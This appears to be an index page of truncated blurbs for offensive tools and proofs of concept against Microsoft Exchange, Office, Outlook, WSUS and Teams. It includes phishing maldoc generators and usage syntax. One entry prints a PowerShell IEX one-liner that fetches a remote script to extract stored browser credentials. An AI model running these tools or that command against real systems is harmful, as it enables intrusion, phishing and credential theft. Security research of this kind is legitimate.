aDLL

aDLL - Adventure of Dinamic Lynk Library aDLLは、DLL Hijackingの脆弱性を自動的に発見することに特化したバイナリ解析ツールです。このツールは、メモリにロードされたバイナリのイメージを解析し、ロード時に読み込まれるDLLを検索します。また、Microsoft Detoursライブラリを使用してLoadLibrary/LoadLibraryEx関数の呼び出しをフックし、実行時に読み込まれるDLLを解析します。目的は、実行可能ファイルが検索されるフォルダ内で見つからないDLLのリストを取得することです。 はじめに...

CVE-2025-59287

在本研究中，我们将剖析在 Microsoft Windows Server Update Services WSUS 环境中发现的严重漏洞（CVE-2025-59287）。该漏洞源于发送至 GetCookie 端点的 AuthorizationCookie 对象的不安全反序列化：加密的 Cookie 数据使用 AES-128-CBC 解密，随后通过 BinaryFormatter 进行反序列化，且未经过适当的类型验证，从而能够以 SYSTEM 权限执行远程代码。 此 EXP 首先需要获取 Wusu 的密钥。该密钥需通过其他攻击手段获取。这一点需要予以说明。...

CVE-2011-1249

CVE-2011-1249 🖥️ -h3x0v3rl0rd- Microsoft Windows x86 - 'afd.sys' 本地权限提升 MS11-046 root@kitploit: apt install mingw-w64 i686-w64-mingw32-gcc 40564.c -o newshell.exe -lws232...

CVE-2020-0688

用于CVE-2020-0688（Microsoft Exchange默认MachineKeySection反序列化漏洞）的利用与检测工具 构建 root@kitploit: csc ExchangeCmd.cs csc ExchangeDetect.cs 用法 root@kitploit: ExchangeDetect root@kitploit: ExchangeCmd 子命令： exec args 执行命令 arch 获取远程进程架构（用于shellcode） shellcode 运行shellcode exit 退出程序 更多信息请阅读writeup.pdf（中文）。...

CVE-2008-5416

CVE-2008-5416 Microsoft SQL Server spreplwritetovarbin 通过 SQL 注入导致的内存损坏 调用未记录的扩展存储过程 "spreplwritetovarbin" 时可能发生基于堆的缓冲区溢出。此漏洞影响未安装 MS09-004 中提供的更新的所有版本的 Microsoft SQL Server 2000 和 2005、Windows Internal Database 以及 Microsoft Desktop Engine MSDE。Microsoft 在 2005 的 SP3 中修复了此漏洞，但未公开提及。 致谢：...

Follina-CVE-and-CVE-2021-40444

利用Follina CVE和CVE-2021-40444漏洞 目录 1. 简介 2. 前提条件 3. 设置与安装 4. 使用方法 5. 详细说明 6. 命令 7. 免责声明 简介 本仓库包含用于利用 Microsoft Office 中 Follina CVE 和 CVE-2021-40444 漏洞的脚本和资源。这些脚本会生成能够在目标系统上执行任意代码的恶意文档文件。 前提条件 Flare VM Python 3.x Microsoft Word 所需的 Python 包（列于 requirements.txt 中） 设置与安装 1. Flare VM 设置： 确保已安装 Flare...

CVE-2024-21413

Explotación de CVE-2024-21413 Outlook Estado del proyecto: En pausa práctica incompleta; no se logró capturar hashes NTLM Objetivos Intentar explotar la vulnerabilidad CVE-2024-21413, que permite la fuga de hashes NTLM en Outlook al interactuar con enlaces maliciosos. El objetivo de la práctica n...

Microsoft-Exchange-RCE

Microsoft-Exchange-RCE Microsoft Exchange CVE-2021-26855与CVE-2021-27065...

PrivExchange

PrivExchange 博客 通过一个 API 调用从域用户到域管理员：利用 Exchange 的配套 POC 工具。 需求 这些工具需要 impacket。你可以通过 pip install impacket 从 pip 安装，但建议使用 GitHub 上的最新版本。 privexchange.py 此工具简单地登录 Exchange Web Services 以订阅推送通知。这将使 Exchange 回连到您并以系统身份进行身份验证。 httpattack.py 可与 ntlmrelayx.py 配合使用的攻击模块，无需凭据即可执行攻击。使用方法： 修改 httpattack.py...

teams_dump

最新版Microsoft Teamsのクッキーをダンプおよび復号化するPoC extract.pyは引数なしでダンプするだけ extract.exeはextract.pyをexeにパッケージ化したもの teamsdump.py データベースの値を一覧表示 root@kitploit: python.exe .\teamsdump.py teams --list Table: meta Columns in meta: key, value -------------------------------------------------- Table: cookies Columns i...

CVE-2022-30190-follina-Office-MSDT-Fixed

'Follina' MS-MSDT n-day Microsoft Office RCE—修改版 根据 https://github.com/chvancooten/follina.py 的项目进行修改，可以自定义指定docx模板文件，便于实战中钓鱼使用，自己编辑好钓鱼word文档后-f参数指定即可。 Usage: root@kitploit: usage: follina.py -h -m binary,command -b BINARY -f FILE -c COMMAND -u URL -H HOST -P PORT optional arguments: -h, --help...

CVE-2021-40444-docx-Generate

CVE-2021-40444 docx 生成 用于利用 CVE-2021-40444（Microsoft Office Word 远程代码执行漏洞）的 docx 生成 1. 创建 blink .docx 文件。 2. 在"插入/对象"菜单中添加"位图图像"对象。 3. 保存并解压 docx。 4. 修改 word/rels/document.xml.rels 5. 修改 word/document.xml 6. 压缩文件夹并重命名为 .docx 7. 准备 html 和 cab 文件。 8. 尽情享用！...

Exchange2domain

Exchange2domain privexchange 的全合一工具。你只需要开放 Web 服务器端口，因此无需高权限 。 精彩文章！利用 Exchange：一次 API 调用即可获得域管理员权限。 依赖 这些工具需要 impacket。你可以通过 pip 安装：pip install impacket。 用法 root@kitploit: usage: Exchange2domain.py -h -u USERNAME -d DOMAIN -p PASSWORD --hashes HASHES --no-ssl --exchange-port EXCHANGEPORT -ah...

OWASSRF-CVE-2022-41082-POC

CVE-2022-41082-POC CVE-2022-41082 NotProxyShell OWASSRF 脆弱性のPoC。Microsoft Exchangeサーバーに影響を与えます。 これはProxyNotShell OWASSRFの認証後RCEであり、コマンド実行には有効な資格情報が必要です。 TabShell脆弱性（CVE-2022-41076）のPowershell PoCスクリプトを追加 TabShell脆弱性は特権昇格の一種であり、OWASSRFを通じてアクセスに成功した後、制限されたPowershellサンドボックスからの脱出を可能にします。 影響を受けるバージョン...

RTF_11882_0802

RTF118820802 CVE-2017-11882 CVE-2017-11882：https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 MITRE上的CVE-2017-11882：https://vulners.com/cve/CVE-2017-11882 研究文章：https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about...

CVE-2023-23397-POC-Powershell

CVE-2023-23397-POC-Powershell 脚本函数，用于通过 ReminderSoundFile 选项发送或保存日历 NTLM 泄露。 运行脚本以在 Powershell 中加载函数，然后可以使用下面的示例作为使用函数的起点。 需要在安装了 Outlook 的 Windows 机器上运行，因为它使用 Outlook COM 对象发送电子邮件。 注意，它将从 Outlook 关联的电子邮件账户发送。当前函数会将会议开始时间设置为脚本执行时，持续 2 小时。 发送： root@kitploit: Send-CalendarNTLMLeak -recipient...

Detours

Paquete Detours de Microsoft Research Detours es un paquete de software para supervisar e instrumentar llamadas a la API en Windows. Detours ha sido utilizado por muchos vendedores de software independientes ISV y también es utilizado por equipos de producto de Microsoft. Detours ahora está...

proxylogscan

proxylogscan 此工具用于批量扫描 Microsoft Exchange Server 上的一个漏洞，该漏洞允许攻击者绕过身份验证并冒充管理员（CVE-2021-26855）。 通过将该漏洞与另一个认证后的任意文件写入漏洞（CVE-2021-27065）组合，可以获取代码执行权限。 最终，未经身份验证的攻击者可以在 Microsoft Exchange Server 上执行任意命令。 该漏洞影响（Exchange 2013 版本 需要 Go 1.13+。 root@kitploit: $ go get dw1.io/proxylogscan 或者从 发布页面...

PoC-CVE-2022-30190

POC CVE-2022-30190：CVE 0-day MS Offic RCE 又名 msdt follina 信息：New Microsoft Office zero-day used in attacks to execute PowerShell 概述 2022 年 5 月 29 日，NaoSec 团队，一个独立的网络安全研究团队，在 Virustotal 上发现了一个恶意的 Office 文档。该文档使用了一种不寻常但已知的方案来感染受害者。该方案未被某些 EDR（如 Microsoft Defender for...

credgrap_ie_edge

credgrapieedge 内容：从 Internet Explorer 和 Edge 中提取存储的凭证 作者：Florian Hansemann | @HanseSecure | https://hansesecure.de 日期：04/2018 使用 powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" 建议 Powershell 解决方案...